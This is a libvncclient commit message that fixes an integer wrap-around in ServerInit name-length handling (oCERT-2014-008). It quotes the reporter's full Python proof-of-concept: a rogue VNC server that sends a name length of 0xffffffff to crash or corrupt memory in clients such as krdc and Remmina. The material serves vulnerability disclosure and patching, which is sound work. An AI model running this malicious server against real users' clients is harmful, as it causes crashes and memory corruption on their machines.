Fix possible libvncclient ServerInit memory corruption.

This fixes the following oCERT report (oCERT-2014-008 pt.2):

There is a similar vulnerability to the previous one I sent. This is related to the ServerInit message where the width, the height of the server's framebuffer, its pixel format, and the name are sent to the client. The name can be used in a malicious manner to trigger a memory corruption in the client.

Field             Size
---------------------------------
name-length [4]
name-string  [name-length]

Below you will find a PoC script to show the vulnerability. This was tested on Fedora 20 with the latest version of krdc.

I have noticed something, where the memory corruption causes the program to hang but allows you to try to disconnect. After this it hangs. Occasionally there will be segmentation fault in memcpy. This can become more reliable if you connect to a different VNC server first (Or the wrong port on the malicious server) then connecting to the malicious port. Every time I accidentally made the wrong VNC connection attempt the next time I connected it segfault'd.

Just run the script it will listen on port 5900 and connect to it with krdc for example. I have observed Remmina crash more reliably.

import socket,struct,sys

HOST = ""
PORT =  5900

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.bind((HOST,PORT))
c.listen(1)

conn,addr = c.accept()
print "Connected by ", addr

protocolVersion3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
conn.send(protocolVersion3008)

data = conn.recv(1024) # Receive the version from them.

secTypeNone = "\x01\x01"
secTypeAuth = "\x01\x02"
conn.send(secTypeNone)

data = conn.recv(1024) # Receive the secType choice from them.

secResultOk = "\x00" * 4
secResultNo = "\x00\x00\x00\x01"
conn.send(secResultOk)

data = conn.recv(1024) # Receive the ClientInit (Shared-flag).

frameBufferWidth = 0x0480
frameBufferHeight = 0x0360
bitsPerPixel = 0x20
depth = 0x18
bigEndian = 0x1
trueColor = 0x0
redM = 0x0
greenM = 0x0
blueM =  0x0
redS = 0x0
greenS = 0x0
blueS = 0x0
padding = "\x00\x00\x00"
nameLength = 0xffffffff
nameString = "AA" * 0xFFFF + "\x00\x0a"

conn.send( struct.pack(">HHBBBBHHHBBB",frameBufferWidth, frameBufferHeight, bitsPerPixel, depth, bigEndian, trueColor, redM, greenM, blueM, redS, greenS, blueS) + padding + struct.pack(">I", nameLength) + nameString )

c.close()

libvncclient/rfbproto.c

@@ -1253,7 +1253,8 @@ InitialiseRFBConnection(rfbClient* client)
   client->si.format.blueMax = rfbClientSwap16IfLE(client->si.format.blueMax);
   client->si.nameLength = rfbClientSwap32IfLE(client->si.nameLength);
 
-  client->desktopName = malloc(client->si.nameLength + 1);
+  /* To guard against integer wrap-around, si.nameLength is cast to 64 bit */
+  client->desktopName = malloc((uint64_t)client->si.nameLength + 1);
   if (!client->desktopName) {
     rfbClientLog("Error allocating memory for desktop name, %lu bytes\n",
             (unsigned long)client->si.nameLength);